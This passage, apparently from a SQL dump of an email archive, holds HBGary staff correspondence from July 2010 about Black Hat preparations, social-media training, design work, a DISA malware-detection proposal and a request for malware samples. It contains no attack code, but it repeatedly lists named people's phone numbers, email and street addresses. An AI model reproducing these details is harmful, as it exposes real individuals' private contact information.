impressed by ValidEdge\'s innovative approach to malware analysis\r\nand are excited to have them be a part of the first Tech Locker at Black Hat\r\nUSA,&quot; ...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com\r\n| Email: phil@hbgary.com |\r\nBlog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog: &nbsp;https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2617,'aaron_hbgary_com/2617.html'),(8963,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006871.M223053P14101Q3818.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Social Media','ok how about the first tuesday in October.\r\n\r\nAaron\r\n\r\nOn Jul 21, 2010, at 10:42 AM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> As of now I have any Tuesday in October open if you\'d like to sign up for\r\n> one.\r\n> \r\n> Scott\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, July 21, 2010 10:34 AM\r\n> To: Sheldon, Scott W.\r\n> Cc: Estell, Timothy W.\r\n> Subject: Social Media\r\n> \r\n> Scott,\r\n> \r\n> Attached is a presentation I gave at the NSA REBL conference about a month\r\n> ago.  The response was overwhelming.  Social media will continue to climb as\r\n> a hot topic for defense and offense.  I am in the process of updating this\r\n> presentation and building a 1 day training course for social media to cover:\r\n> 1. Familiarization\r\n> 2. Effective Use\r\n> 3. Risks\r\n> 4. Usecases\r\n> 5. Protection and Process\r\n> \r\n> I thought you might be interested in offering this presentation on one of\r\n> your Tech Tuesdays.  I have a lot of experience in social media, most of it\r\n> I can\'t talk directly about but it gives me a somewhat unique perspective.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6683,'aaron_hbgary_com/6683.html'),(8964,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006871.M917309P14101Q3819.eml','\"Ted Vera\" <ted@hbgary.com>','facetime AV','http://mashable.com/2010/07/17/facetime-portraits/\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6063,'aaron_hbgary_com/6063.html'),(8965,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006891.M765960P14101Q3820.eml','\"Aaron Barr\" <adbarr@mac.com>','Presentation','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5942,'aaron_hbgary_com/5942.html'),(8966,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006912.M239399P14101Q3821.eml','\"Ted Vera\" <ted@hbgary.com>','REBL Social Media','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',948,'aaron_hbgary_com/948.html'),(8967,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006914.M843575P14101Q3822.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Hi John,\r\n\r\nHow are the graphics coming? Do you do In-design work?\r\n\r\nAaron\r\n\r\nOn Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n\r\n> Thanks Penny.\r\n> \r\n> Aaron - let me know what you need on these.\r\n> \r\n> Thanks\r\n> \r\n> John\r\n> \r\n> \r\n> \r\n> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>> make sense to me\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>> To: Penny Leavy\r\n>> Subject: 3 graphic requests to follow\r\n>> \r\n>> First one is the top image for the datasheet.  You can download the icons at\r\n>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>> /\r\n>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>> more requests to follow.\r\n>> \r\n>> I would use the following ones:\r\n>> blogger\r\n>> digg\r\n>> facebook\r\n>> flickr\r\n>> google\r\n>> hi5\r\n>> linkedin\r\n>> myspace\r\n>> orkut\r\n>> reddit\r\n>> skype\r\n>> technorati\r\n>> twitter\r\n>> wordpress\r\n>> yahoo\r\n>> youtube\r\n>> yelp\r\n>> \r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12501,'aaron_hbgary_com/12501.html'),(8968,'2010-07-21','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297006915.M275757P14101Q3823.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Social Media Discussion @ Wed Jul 21 11:30am - 12:30pm 	(aaron@hbgary.com)',' more details &raquo;Social Media DiscussionDiscuss DigitalGlobe requirements and HBGary capabilities / training.WhenWed Jul 21 11:30am – 12:30pm Eastern TimeWhereTelecon (map)Calendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;Aaron Barr&#x2022;bcoulson@digitalglobe.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',6393,'aaron_hbgary_com/6393.html'),(8969,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006915.M700683P14101Q3824.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','WWW','It looks like lab.hbgaryfederal.com is wide open. Can you check the .htaccess.\r\n',2934,'aaron_hbgary_com/2934.html'),(8970,'2010-07-21','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006915.M953722P14101Q3825.eml','penny@hbgary.com,chris.lee@virtualarmor.com,mark.precious@virtualarmor.com,aaron@hbgary.com','FW: Slides for the 6th','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\n&nbsp;here is the message I sent out a couple of week ago.&nbsp;\r\nWhat we need is a clear description on how you are going to send the new\r\nsuspected malware signature to VirtualArmor (Blockhouse).&nbsp; Other than\r\nthat, the presentation material that Aaron presented on June 6th and\r\nany other detailed Digital DNA technical slides you want to bring along would\r\nbe fine.&nbsp; Do we need a quick conference call today?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, July 21, 2010 11:17 AM\r\nTo: Ricart, Richard; chris.lee@virtualarmor.com\r\nSubject: RE: Presentation for DISA\r\n\r\n&nbsp;\r\n\r\nI am at BH all next week, Bob\r\nwill be in town.&nbsp; We are familiar with DISA, what sort of\r\n&#8220;indepth&#8221; presentation are you thinking of?&nbsp; I have tons of\r\ntechnical slides so putting them together is not a problem.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ricart, Richard \r\nSent: Friday, July 09, 2010 12:26 PM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Christopher Lee\';\r\n\'mark.precious@virtualarmor.com\'; \'shawn.anderson@wyle.com\'\r\nCc: Smith, Richard N.; Votipka, David; Riven, Rodney\r\nSubject: RE: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nFolks,\r\n\r\n&nbsp;\r\n\r\nOn behalf of the Accenture team, I&#8217;d like to thank and\r\ncongratulate everyone again on a job well done on Tuesday, July 6th.&nbsp;\r\nWe received very positive feedback on our presentation.\r\n\r\n&nbsp;\r\n\r\nWe have been asked to prepare a 0-day malware detection and\r\nactive defense deep dive with DISA and their Mitre SMEs on Aug 6th.\r\n&nbsp;&nbsp;As you may have heard, DISA is about to release an RFI on the\r\nsubject.&nbsp; This is a great opportunity for us to differentiate ourselves\r\nfrom Symantec. They appear to be the front runner in this space according to\r\nSonoka Ho&#8217;s implication.&nbsp; Ho told me that he was impressed with what\r\nhe heard from us on Tuesday.\r\n\r\n&nbsp;\r\n\r\nSince we don&#8217;t have a working prototype, my sense is that\r\nwe need to have a better defined architectural and functional description,\r\nwhich includes a more detailed flow between HBGary, BlockHouse, CAR, and DDN\r\nand more detail on how each component performs its function.&nbsp; We need to\r\nbeef up the connection between the previous and risk assessment, alerting,\r\nhuman in the loop, data distribution and how all those are connected.&nbsp; We\r\nneed use cases and show at least one full end-to-end flow starting with HBGary.\r\n\r\n&nbsp;\r\n\r\nFirst we need commitment from all of you to proceed, then a\r\nschedule to prepare for the meeting.&nbsp; If you are on board, please provide\r\nme with your availability next week to start this off and agree on what we need\r\nto put together.\r\n\r\n&nbsp;\r\n\r\nHave a great weekend and stay cool!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 02, 2010 3:42 PM\r\nTo: Smith, Richard N.; Ricart, Richard\r\nSubject: FW: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHere are slides\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 02, 2010 12:18 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry just got out of some meetings with Blackbird a bit a\r\ngo.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere you go.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',4225,'aaron_hbgary_com/4225.html'),(8971,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006916.M172708P14101Q3826.eml','\"Copeland Charles\" <charles@hbgary.com>,\"Copeland Charles\" <charles@hbgary.com>,','Responder Pro Evaluation','Hi Charles,\r\n\r\nI just spoke with Maria\'s customer Brian Coulsen -\r\nbcoulson@digitalglobe.com, and he has his portal account set up but\r\nResponder Pro does not appear as a download link.  Can you help? And\r\nsend him an email letting him know when its done.\r\n\r\nThanks,\r\nTed\r\n',2102,'aaron_hbgary_com/2102.html'),(8972,'2010-07-21','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297006916.M428832P14101Q3827.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Responder Pro Evaluation','It&#39;s been enabled.Charles.On Wed, Jul 21, 2010 at 9:02 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Charles,\r\n\r\nI just spoke with Maria&#39;s customer Brian Coulsen -\r\nbcoulson@digitalglobe.com, and he has his portal account set up but\r\nResponder Pro does not appear as a download link.  Can you help? And\r\nsend him an email letting him know when its done.\r\n\r\nThanks,\r\nTed\r\n\r\n',5752,'aaron_hbgary_com/5752.html'),(8973,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006916.M646635P14101Q3828.eml','\"Aaron Barr\" <adbarr@mac.com>','Talk with Greg','How do you define a threat group.\r\n\r\nIntelligence spectrum (md5 - ssn)\r\n\r\nApature of visibility\r\n\r\nSent from my iPad\r\n',6257,'aaron_hbgary_com/6257.html'),(8974,'2010-07-21','\"Lydard, Ruth E.\" <rlydard@mitre.org>','/aaron@hbgary.com/new/1297006916.M855179P14101Q3829.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office: Invitation: Social Media @ Wed Jul 21 3pm - 4pm (Ray Dizon)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will be out of the Office 7/19 - 7/23,\r\nreturning on 7/26/10.&nbsp; I will not be checking email or voice mail.&nbsp;\r\nIf you need immediate assistance, please contact Fran Harris, 703-983-7158.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14918,'aaron_hbgary_com/14918.html'),(8975,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006917.M529778P14101Q3831.eml','\"Coulson Brian\" <bcoulson@digitalglobe.com>,\"Coulson Brian\" <bcoulson@digitalglobe.com>,','Portal','Hello Brian,\r\n\r\nCharles has updated your portal account so you should now be able to\r\ndownload Responder Pro.\r\n\r\nNice talking with you. Aaron and I will develop a quote for the training.\r\n\r\nRegards,\r\nTed\r\n',14585,'aaron_hbgary_com/14585.html'),(8976,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006917.M68716P14101Q3830.eml','\"emil nazzaro\" <emil@bydandassociates.com>,\"emil nazzaro\" <emil@bydandassociates.com>,','Re: Intro','Thank you for the introduction Dave.\r\n\r\nEmil, lets shoot for the week of the 9th.\r\n\r\nAt the moment I only have a few meetings scheduled that week, on Monday.\r\n\r\nAaron\r\n\r\n\r\nOn Jul 19, 2010, at 1:28 PM, emil nazzaro wrote:\r\n\r\n> David -\r\n> \r\n> Thank you for the virtual introduction.\r\n> \r\n> Aaron -\r\n> \r\n> I\'m currently out of town on vacation, returning late on the 28th. Byrne and\r\n> I have a mid-day meeting (11am - 2pm) in Herndon on the 29th. Late Thursday\r\n> afternoon and Friday morning are open if either of those times suit your\r\n> calendar.  \r\n> \r\n> We\'ll be in Tampa for the AFCEA Joint LandWarNet Conference from 2-5 August\r\n> supporting some of our clients who will be exhibiting.  Alternatively, we\r\n> could meet sometime during the week of 9 August. \r\n> \r\n> We look forward to meeting you, learning more about HB Gary Federal, and\r\n> telling you about Bydand Associates.\r\n> \r\n> Vr,\r\n> \r\n> Emil \r\n> \r\n> Emil S. Nazzaro, Partner\r\n> Bydand Associates, LLC\r\n> (703) 401-6922 (mobile)\r\n> emil@bydandassociates.com\r\n> www.bydandassociates.com\r\n> \r\n> Bydand Associates is a Veteran-Owned Small Business \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: David Etue [mailto:david@etue.net] \r\n> Sent: Monday, July 19, 2010 11:47 AM\r\n> To: Aaron Barr; emil nazzaro\r\n> Subject: Intro\r\n> \r\n> Aaron and Emil - wanted to connect the two of you up.  I\'m sure you have \r\n> a lot of contacts in common, and there may be an opportunity to help \r\n> each other out.\r\n> \r\n> Aaron - Emil has been working with Fidelis for a number of years helping \r\n> generate business in the Federal Government.  He has a lot of experience \r\n> and contacts, and his Army background has been particularly helpful.  \r\n> His business partner, Byrne Huntley, also has a great background.  \r\n> http://www.bydandassociates.com/about/\r\n> \r\n> Emil - Aaron is the CEO of HB Gary Federal.  HB Gary has some amazing \r\n> products for endpoint memory analysis and forensics, and Aaron is \r\n> leading up their Federal business including both product and services.  \r\n> He has a great background in cyber security, and was with both Northrop \r\n> Grumman and the US Navy before joining HB Gary.\r\n> \r\n> David\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1832,'aaron_hbgary_com/1832.html'),(8977,'2010-07-21','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297006917.M791963P14101Q3832.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Social Media @ Wed Jul 21 3pm - 4pm (Ray Dizon)','',9230,'aaron_hbgary_com/9230.html'),(8978,'2010-07-21','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297006918.M20129P14101Q3833.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 3 graphic requests to follow','Hi Aaron,\r\n\r\nI have not yet begun to work on your project as I have a couple of  \r\nthings ahead in the queue. I do most of my work in the Adobe Creative  \r\nSuite including InDesign.\r\n\r\nThanks\r\n\r\nJohn\r\n\r\n\r\nOn Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n\r\n> Hi John,\r\n>\r\n> How are the graphics coming? Do you do In-design work?\r\n>\r\n> Aaron\r\n>\r\n> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>\r\n>> Thanks Penny.\r\n>>\r\n>> Aaron - let me know what you need on these.\r\n>>\r\n>> Thanks\r\n>>\r\n>> John\r\n>>\r\n>>\r\n>>\r\n>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>\r\n>>> Aaron, you\'ll have to explain to John what you want, what you sent  \r\n>>> doesn\'t\r\n>>> make sense to me\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>> To: Penny Leavy\r\n>>> Subject: 3 graphic requests to follow\r\n>>>\r\n>>> First one is the top image for the datasheet.  You can download  \r\n>>> the icons at\r\n>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>> /\r\n>>> I would like the HBGary logo to stand out but fit in the grunge  \r\n>>> style.  2\r\n>>> more requests to follow.\r\n>>>\r\n>>> I would use the following ones:\r\n>>> blogger\r\n>>> digg\r\n>>> facebook\r\n>>> flickr\r\n>>> google\r\n>>> hi5\r\n>>> linkedin\r\n>>> myspace\r\n>>> orkut\r\n>>> reddit\r\n>>> skype\r\n>>> technorati\r\n>>> twitter\r\n>>> wordpress\r\n>>> yahoo\r\n>>> youtube\r\n>>> yelp\r\n>>>\r\n>>> \r\n>>\r\n>>\r\n>> ______________________\r\n>>\r\n>> John Verducci\r\n>> Studio Em Graphic Design\r\n>>\r\n>> 974 Yorkshire Drive\r\n>> Los Altos, California 94024\r\n>>\r\n>> 650.962.9200 Direct\r\n>> 650.961.8801 Fax\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',850,'aaron_hbgary_com/850.html'),(8979,'2010-07-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006918.M271826P14101Q3834.eml','\"Charles Copeland\" <charles@hbgary.com>,\"Charles Copeland\" <charles@hbgary.com>,','Re: Portal','Thanks Charles!\r\n\r\n\r\n\r\nOn Jul 21, 2010, at 11:45 AM, Ted Vera  wrote:\r\n\r\n> Hello Brian,\r\n>\r\n> Charles has updated your portal account so you should now be able to\r\n> download Responder Pro.\r\n>\r\n> Nice talking with you. Aaron and I will develop a quote for the training.\r\n>\r\n> Regards,\r\n> Ted\r\n',10195,'aaron_hbgary_com/10195.html'),(8980,'2010-07-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006918.M528884P14101Q3835.eml','\"Barr Aaron\" <aaron@hbgary.com>','Checkpoint','How much do you know about Checkpoint?\r\n\r\n\r\n',2839,'aaron_hbgary_com/2839.html'),(8981,'2010-07-21','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006918.M825145P14101Q3836.eml','\"John Verducci\" <john@studioem.com>','Re: 3 graphic requests to follow','Ok if i sent u the text and general layout could you put it together?  Reason i ask is i would like to have my datasheet ready for black hat on the 27/28 of this month but I am heading on a trip until then and won\'t have access to indesign after today.\r\n\r\nThanks\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 21, 2010, at 1:51 PM, John Verducci  wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I have not yet begun to work on your project as I have a couple of things ahead in the queue. I do most of my work in the Adobe Creative Suite including InDesign.\r\n> \r\n> Thanks\r\n> \r\n> John\r\n> \r\n> \r\n> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n> \r\n>> Hi John,\r\n>> \r\n>> How are the graphics coming? Do you do In-design work?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>> \r\n>>> Thanks Penny.\r\n>>> \r\n>>> Aaron - let me know what you need on these.\r\n>>> \r\n>>> Thanks\r\n>>> \r\n>>> John\r\n>>> \r\n>>> \r\n>>> \r\n>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>> \r\n>>>> Aaron, you\'ll have to explain to John what you want, what you sent doesn\'t\r\n>>>> make sense to me\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>> To: Penny Leavy\r\n>>>> Subject: 3 graphic requests to follow\r\n>>>> \r\n>>>> First one is the top image for the datasheet.  You can download the icons at\r\n>>>> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n>>>> /\r\n>>>> I would like the HBGary logo to stand out but fit in the grunge style.  2\r\n>>>> more requests to follow.\r\n>>>> \r\n>>>> I would use the following ones:\r\n>>>> blogger\r\n>>>> digg\r\n>>>> facebook\r\n>>>> flickr\r\n>>>> google\r\n>>>> hi5\r\n>>>> linkedin\r\n>>>> myspace\r\n>>>> orkut\r\n>>>> reddit\r\n>>>> skype\r\n>>>> technorati\r\n>>>> twitter\r\n>>>> wordpress\r\n>>>> yahoo\r\n>>>> youtube\r\n>>>> yelp\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> ______________________\r\n>>> \r\n>>> John Verducci\r\n>>> Studio Em Graphic Design\r\n>>> \r\n>>> 974 Yorkshire Drive\r\n>>> Los Altos, California 94024\r\n>>> \r\n>>> 650.962.9200 Direct\r\n>>> 650.961.8801 Fax\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ______________________\r\n> \r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> \r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> \r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n> \r\n> \r\n> \r\n> \r\n',2322,'aaron_hbgary_com/2322.html'),(8982,'2010-07-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006919.M354530P14101Q3838.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Checkpoint','Interesting presentation. \r\n\r\n\r\n\r\nOn Jul 21, 2010, at 12:11 PM, Aaron Barr  wrote:\r\n\r\n> Not much.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 21, 2010, at 2:09 PM, Ted Vera  wrote:\r\n> \r\n>> How much do you know about Checkpoint?\r\n>> \r\n>> \r\n',6212,'aaron_hbgary_com/6212.html'),(8983,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006919.M49770P14101Q3837.eml','\"Ted Vera\" <tedvera@me.com>','Re: Checkpoint','Not much.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 21, 2010, at 2:09 PM, Ted Vera  wrote:\r\n\r\n> How much do you know about Checkpoint?\r\n> \r\n> \r\n',10824,'aaron_hbgary_com/10824.html'),(8984,'2010-07-21','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006919.M590059P14101Q3839.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Attribution','What format is required for processing within the tool?\r\n\r\nWere these compiled from rootkit.com?\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 10:27 PM\r\nTo: Aaron Barr\r\nSubject: Attribution\r\n\r\nI am sending this request to a small group of individuals.  Please do not\r\nforward this email to third parties.  HBGary is working hard to help solve\r\nthe attribution problem.  We have developed a fingerprint tool which\r\nextracts toolmarks left behind in malware executables.  We use these\r\ntoolmarks to cluster exploits together which were compiled on the same\r\ncomputer system or development environment.  Notice the clusters in the\r\ngraphic below. These groupings illustrate the relationships between over\r\n3000 malware samples.\r\n\r\nWe need your help to further validate and improve the tool.  Eventually you\r\ncan imagine combining this data with open source and intelligence data.  I\r\ncan see attribution as potentially a solvable problem.  We need your malware\r\nsamples, as many as you can provide.  This is not something we are looking\r\nto profit from directly, we will be giving this tool away at Blackhat, so\r\nhelping us improve the tool will help the community beat back the threat.\r\nIf possible please have your representative CISOs or cybersecurity personnel\r\nsend malware samples in a password protected zip file.  Provide the password\r\nvia phone 719-510-8478 or fax to:  720-836-4208 we need your samples as soon\r\nas possible.  Samples provided will not be shared with third parties and\r\nyour participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our\r\nfindings and you will have made a significant contribution to securing\r\nAmerica\'s networks. \r\n\r\n\r\n',4396,'aaron_hbgary_com/4396.html'),(8985,'2010-07-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006919.M872812P14101Q3840.eml','\"Penny Leavy\" <penny@hbgary.com>','Mitre','Have I dealt with them if so who?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',8126,'aaron_hbgary_com/8126.html'),(8986,'2010-07-21','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297006920.M156434P14101Q3841.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: 3 graphic requests to follow','Hi Aaron,\r\n\r\nI can certainly do that for you if you send me all of the other assets  \r\nlike the text.\r\n\r\nThanks\r\n\r\nJohn\r\n\r\n\r\n\r\nOn Jul 21, 2010, at 11:09 AM, Aaron barr wrote:\r\n\r\n> Ok if i sent u the text and general layout could you put it  \r\n> together?  Reason i ask is i would like to have my datasheet ready  \r\n> for black hat on the 27/28 of this month but I am heading on a trip  \r\n> until then and won\'t have access to indesign after today.\r\n>\r\n> Thanks\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 21, 2010, at 1:51 PM, John Verducci  wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> I have not yet begun to work on your project as I have a couple of  \r\n>> things ahead in the queue. I do most of my work in the Adobe  \r\n>> Creative Suite including InDesign.\r\n>>\r\n>> Thanks\r\n>>\r\n>> John\r\n>>\r\n>>\r\n>> On Jul 21, 2010, at 8:13 AM, Aaron Barr wrote:\r\n>>\r\n>>> Hi John,\r\n>>>\r\n>>> How are the graphics coming? Do you do In-design work?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Jul 14, 2010, at 7:30 PM, John Verducci wrote:\r\n>>>\r\n>>>> Thanks Penny.\r\n>>>>\r\n>>>> Aaron - let me know what you need on these.\r\n>>>>\r\n>>>> Thanks\r\n>>>>\r\n>>>> John\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n>>>>\r\n>>>>> Aaron, you\'ll have to explain to John what you want, what you  \r\n>>>>> sent doesn\'t\r\n>>>>> make sense to me\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, July 14, 2010 9:20 AM\r\n>>>>> To: Penny Leavy\r\n>>>>> Subject: 3 graphic requests to follow\r\n>>>>>\r\n>>>>> First one is the top image for the datasheet.  You can download  \r\n>>>>> the icons at\r\n>>>>> 